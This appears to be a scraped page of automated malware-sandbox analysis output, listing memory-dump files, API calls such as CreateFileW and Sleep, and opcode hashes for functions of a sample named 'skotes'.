Associated: 00000006.00000002.2955918157.0000000000BB0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956067792.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956184552.0000000000BB9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956299578.0000000000BC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956528045.0000000000BD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956631567.0000000000BDF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957526093.0000000000BE0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957714400.0000000000BE1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957900961.0000000000BE2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958091465.0000000000BE8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958162172.0000000000BFF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958358158.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958517517.0000000000C0D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958607514.0000000000C0E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958724754.0000000000C0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958808925.0000000000C11000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958993079.0000000000C12000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959185015.0000000000C15000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959368951.0000000000C16000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C1D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C5F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960132004.0000000000C8E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960358231.0000000000C8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960557738.0000000000C90000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960808160.0000000000C94000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960938618.0000000000C97000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961056139.0000000000CA6000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_990000_skotes.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID:
API String ID: 1721193555-0
Opcode ID: 9de5b6a596ea331542f1da7c20722c2f0e17202693d50d1dfa7c2a91f0b0823e
Instruction ID: f64db5b2872df7d83a47f64e0a458ceff824e28817cc3d8fd04e1f24c4a536fd
Opcode Fuzzy Hash: 9de5b6a596ea331542f1da7c20722c2f0e17202693d50d1dfa7c2a91f0b0823e
Instruction Fuzzy Hash: 46511671D142089BEF14EB6CCD45BEEB775DF86314F50429CE409A7281EF359E848B92

Function 009C7124 Relevance: 1.6, APIs: 1, Instructions: 56timeCOMMON

Download Yara Rule

APIs

SystemTimeToTzSpecificLocalTime.KERNEL32(00000000,?,?,?,?,?,009C705B,?,?,00000000,00000000), ref: 009C7166

Memory Dump Source

Source File: 00000006.00000002.2950352543.0000000000991000.00000040.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true

Associated: 00000006.00000002.2950164742.0000000000990000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2950352543.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951132144.00000000009F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951340675.00000000009FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951633551.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953320477.0000000000B5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953531604.0000000000B5D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954831583.0000000000B88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955059243.0000000000B8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955254503.0000000000B93000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955464919.0000000000B99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955650428.0000000000BAB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955765661.0000000000BAC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955918157.0000000000BB0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956067792.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956184552.0000000000BB9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956299578.0000000000BC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956528045.0000000000BD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956631567.0000000000BDF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957526093.0000000000BE0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957714400.0000000000BE1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957900961.0000000000BE2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958091465.0000000000BE8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958162172.0000000000BFF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958358158.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958517517.0000000000C0D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958607514.0000000000C0E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958724754.0000000000C0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958808925.0000000000C11000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958993079.0000000000C12000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959185015.0000000000C15000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959368951.0000000000C16000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C1D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C5F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960132004.0000000000C8E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960358231.0000000000C8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960557738.0000000000C90000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960808160.0000000000C94000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960938618.0000000000C97000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961056139.0000000000CA6000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_990000_skotes.jbxd

Yara matches

Similarity

API ID: Time$LocalSpecificSystem
String ID:
API String ID: 2574697306-0
Opcode ID: 08f60cf0574ed2ec2909045a93b41c61e1d915e1d300a943e51bee4ba52ab624
Instruction ID: 774d7a0f09cfcf319e5385698a4795437a671742ae254fba7a3b292855b485e9
Opcode Fuzzy Hash: 08f60cf0574ed2ec2909045a93b41c61e1d915e1d300a943e51bee4ba52ab624
Instruction Fuzzy Hash: 3F111C7290810CAFDB10DED5C841FDFB7BCAB09310F145266E515E2180EB30EB05CBA2

Function 009CAC53 Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

__wsopen_s.LIBCMT ref: 009CAC8D

Memory Dump Source

Source File: 00000006.00000002.2950352543.0000000000991000.00000040.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true

Associated: 00000006.00000002.2950164742.0000000000990000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2950352543.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951132144.00000000009F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951340675.00000000009FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951633551.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953320477.0000000000B5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953531604.0000000000B5D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954831583.0000000000B88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955059243.0000000000B8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955254503.0000000000B93000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955464919.0000000000B99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955650428.0000000000BAB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955765661.0000000000BAC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955918157.0000000000BB0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956067792.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956184552.0000000000BB9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956299578.0000000000BC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956528045.0000000000BD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956631567.0000000000BDF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957526093.0000000000BE0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957714400.0000000000BE1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957900961.0000000000BE2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958091465.0000000000BE8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958162172.0000000000BFF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958358158.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958517517.0000000000C0D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958607514.0000000000C0E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958724754.0000000000C0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958808925.0000000000C11000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958993079.0000000000C12000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959185015.0000000000C15000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959368951.0000000000C16000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C1D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C5F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960132004.0000000000C8E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960358231.0000000000C8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960557738.0000000000C90000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960808160.0000000000C94000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960938618.0000000000C97000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961056139.0000000000CA6000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_990000_skotes.jbxd

Yara matches

Similarity

API ID: __wsopen_s
String ID:
API String ID: 3347428461-0
Opcode ID: b763948d21047b89768f8aa34e48f00ede3dace49ea6165cbbc8233f4ff712d7
Instruction ID: 59ce57aa53d56d365e2a001c427fde61df2d7770760b0895beeb25fd93a5de2f
Opcode Fuzzy Hash: b763948d21047b89768f8aa34e48f00ede3dace49ea6165cbbc8233f4ff712d7
Instruction Fuzzy Hash: D0111571A0420AAFCF05DF98E941E9A7BF9EF48304F054069F809AB351D630EE21DB65

Function 009CB04B Relevance: 1.5, APIs: 1, Instructions: 33memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,64C8DA1E,?,?,009AD3FC,64C8DA1E,?,009A7A8B,?,?,?,?,?,?,00997465,?), ref: 009CB07E

Memory Dump Source

Source File: 00000006.00000002.2950352543.0000000000991000.00000040.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true

Associated: 00000006.00000002.2950164742.0000000000990000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2950352543.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951132144.00000000009F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951340675.00000000009FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951633551.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953320477.0000000000B5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953531604.0000000000B5D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954831583.0000000000B88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955059243.0000000000B8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955254503.0000000000B93000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955464919.0000000000B99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955650428.0000000000BAB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955765661.0000000000BAC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955918157.0000000000BB0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956067792.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956184552.0000000000BB9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956299578.0000000000BC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956528045.0000000000BD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956631567.0000000000BDF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957526093.0000000000BE0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957714400.0000000000BE1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957900961.0000000000BE2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958091465.0000000000BE8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958162172.0000000000BFF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958358158.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958517517.0000000000C0D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958607514.0000000000C0E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958724754.0000000000C0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958808925.0000000000C11000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958993079.0000000000C12000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959185015.0000000000C15000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959368951.0000000000C16000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C1D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C5F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960132004.0000000000C8E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960358231.0000000000C8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960557738.0000000000C90000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960808160.0000000000C94000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960938618.0000000000C97000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961056139.0000000000CA6000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_990000_skotes.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 486020d6a63ed68ee890c95971ae5f4161f41350b42cef4dbb5711050a108085
Instruction ID: 337b2e21a786f361621f6ce28d237e7b824d9a62749df62e34c5dd503553e81e
Opcode Fuzzy Hash: 486020d6a63ed68ee890c95971ae5f4161f41350b42cef4dbb5711050a108085
Instruction Fuzzy Hash: 10E06D36D46A2697EA31B2658C42FABB64C9B823B0F151618AD28A61D4EB21DC0091E3

Function 009D1775 Relevance: 1.5, APIs: 1, Instructions: 16fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,00000000,?,009D1B65,?,?,00000000,?,009D1B65,00000000,0000000C), ref: 009D1792

Memory Dump Source

Source File: 00000006.00000002.2950352543.0000000000991000.00000040.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true

Associated: 00000006.00000002.2950164742.0000000000990000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2950352543.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951132144.00000000009F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951340675.00000000009FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951633551.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953320477.0000000000B5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953531604.0000000000B5D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954831583.0000000000B88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955059243.0000000000B8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955254503.0000000000B93000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955464919.0000000000B99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955650428.0000000000BAB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955765661.0000000000BAC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955918157.0000000000BB0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956067792.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956184552.0000000000BB9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956299578.0000000000BC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956528045.0000000000BD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956631567.0000000000BDF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957526093.0000000000BE0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957714400.0000000000BE1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957900961.0000000000BE2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958091465.0000000000BE8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958162172.0000000000BFF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958358158.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958517517.0000000000C0D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958607514.0000000000C0E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958724754.0000000000C0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958808925.0000000000C11000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958993079.0000000000C12000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959185015.0000000000C15000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959368951.0000000000C16000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C1D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C5F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960132004.0000000000C8E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960358231.0000000000C8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960557738.0000000000C90000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960808160.0000000000C94000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960938618.0000000000C97000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961056139.0000000000CA6000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_990000_skotes.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: d632e23dbc915b60e48216c2bfb882c7e9eb80cd7b31a3b6d3e7da2f0b548e8b
Instruction ID: c0805a02f1d47602f5d57149b13f426a4b04981dbfc2de19b4b9f2c1e5b34c5e
Opcode Fuzzy Hash: d632e23dbc915b60e48216c2bfb882c7e9eb80cd7b31a3b6d3e7da2f0b548e8b
Instruction Fuzzy Hash: 0BD0923214410DBBDF129F84DC06EDE3BAAFB4C754F114100BE5866060C732E871AB95

Function 009A6C70 Relevance: 1.3, APIs: 1, Instructions: 40sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32 ref: 009A6CF5

Memory Dump Source

Source File: 00000006.00000002.2950352543.0000000000991000.00000040.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true

Associated: 00000006.00000002.2950164742.0000000000990000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2950352543.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951132144.00000000009F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951340675.00000000009FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951633551.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953320477.0000000000B5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953531604.0000000000B5D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954831583.0000000000B88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955059243.0000000000B8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955254503.0000000000B93000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955464919.0000000000B99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955650428.0000000000BAB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955765661.0000000000BAC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955918157.0000000000BB0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956067792.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956184552.0000000000BB9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956299578.0000000000BC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956528045.0000000000BD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956631567.0000000000BDF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957526093.0000000000BE0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957714400.0000000000BE1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957900961.0000000000BE2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958091465.0000000000BE8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958162172.0000000000BFF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958358158.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958517517.0000000000C0D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958607514.0000000000C0E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958724754.0000000000C0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958808925.0000000000C11000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958993079.0000000000C12000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959185015.0000000000C15000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959368951.0000000000C16000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C1D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C5F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960132004.0000000000C8E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960358231.0000000000C8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960557738.0000000000C90000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960808160.0000000000C94000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960938618.0000000000C97000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961056139.0000000000CA6000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_990000_skotes.jbxd

Yara matches

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 659374a87d52d7c455735e668cbbfeb7d1e58ea17d1125374aa458f13671dda8
Instruction ID: 6dacec9980fba487d3e01250bc9b95f388a2de616c12ecbf13e3bfe8b9e0be81
Opcode Fuzzy Hash: 659374a87d52d7c455735e668cbbfeb7d1e58ea17d1125374aa458f13671dda8
Instruction Fuzzy Hash: E1F0F471A14644BBCB01BB7C8D03B2EBB74EB87764F840758E821673D1EB741A0187D2

Function 05010D60 Relevance: .1, Instructions: 86COMMON

